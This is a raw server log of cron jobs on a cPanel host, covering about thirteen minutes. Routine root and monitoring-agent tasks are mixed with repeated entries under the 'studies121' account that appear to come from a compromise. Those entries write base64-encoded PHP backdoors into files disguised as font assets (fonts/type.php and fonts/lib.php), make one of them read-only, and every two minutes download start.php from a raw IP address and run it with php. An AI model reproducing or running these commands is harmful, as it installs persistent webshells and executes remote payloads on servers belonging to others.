Aug 30 20:57:01 ip-184-168-122-23 CROND[8775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:58:01 ip-184-168-122-23 CROND[8858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:58:01 ip-184-168-122-23 CROND[8860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:58:01 ip-184-168-122-23 CROND[8862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 20:58:01 ip-184-168-122-23 CROND[8861]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 20:58:01 ip-184-168-122-23 CROND[8863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:59:01 ip-184-168-122-23 CROND[8941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:59:01 ip-184-168-122-23 CROND[8942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:59:01 ip-184-168-122-23 CROND[8943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 20:59:01 ip-184-168-122-23 CROND[8945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:00:01 ip-184-168-122-23 CROND[9024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:00:01 ip-184-168-122-23 CROND[9025]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:00:01 ip-184-168-122-23 CROND[9031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:00:01 ip-184-168-122-23 CROND[9033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:00:01 ip-184-168-122-23 CROND[9036]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:00:01 ip-184-168-122-23 CROND[9038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:00:01 ip-184-168-122-23 CROND[9037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:00:01 ip-184-168-122-23 CROND[9040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:01:01 ip-184-168-122-23 CROND[9128]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 21:01:01 ip-184-168-122-23 CROND[9130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:01:01 ip-184-168-122-23 CROND[9132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9128]: starting 0anacron
Aug 30 21:01:01 ip-184-168-122-23 CROND[9143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:01:01 ip-184-168-122-23 CROND[9144]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 21:01:01 ip-184-168-122-23 CROND[9146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9148]: finished 0anacron
Aug 30 21:02:01 ip-184-168-122-23 CROND[9255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:02:01 ip-184-168-122-23 CROND[9256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:02:01 ip-184-168-122-23 CROND[9254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:02:01 ip-184-168-122-23 CROND[9257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:02:01 ip-184-168-122-23 CROND[9258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:03:01 ip-184-168-122-23 CROND[9423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:03:01 ip-184-168-122-23 CROND[9425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:03:01 ip-184-168-122-23 CROND[9428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:03:01 ip-184-168-122-23 CROND[9427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:04:01 ip-184-168-122-23 CROND[9504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:04:01 ip-184-168-122-23 CROND[9505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:04:01 ip-184-168-122-23 CROND[9506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:04:01 ip-184-168-122-23 CROND[9507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:04:01 ip-184-168-122-23 CROND[9509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:05:01 ip-184-168-122-23 CROND[9594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:05:01 ip-184-168-122-23 CROND[9597]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 21:05:01 ip-184-168-122-23 CROND[9598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:05:01 ip-184-168-122-23 CROND[9603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:05:01 ip-184-168-122-23 CROND[9601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:05:01 ip-184-168-122-23 CROND[9602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:05:01 ip-184-168-122-23 CROND[9604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:06:02 ip-184-168-122-23 CROND[9688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:06:02 ip-184-168-122-23 CROND[9691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:06:02 ip-184-168-122-23 CROND[9690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:06:02 ip-184-168-122-23 CROND[9692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:06:02 ip-184-168-122-23 CROND[9693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:07:01 ip-184-168-122-23 CROND[9776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:07:01 ip-184-168-122-23 CROND[9777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:07:01 ip-184-168-122-23 CROND[9778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:07:01 ip-184-168-122-23 CROND[9779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:08:01 ip-184-168-122-23 CROND[9880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:08:01 ip-184-168-122-23 CROND[9882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:08:01 ip-184-168-122-23 CROND[9883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:08:01 ip-184-168-122-23 CROND[9884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:08:01 ip-184-168-122-23 CROND[9885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:09:01 ip-184-168-122-23 CROND[9978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:09:01 ip-184-168-122-23 CROND[9982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:09:01 ip-184-168-122-23 CROND[9980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:09:01 ip-184-168-122-23 CROND[9981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:09:01 ip-184-168-122-23 CROND[9984]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 21:10:01 ip-184-168-122-23 CROND[10089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
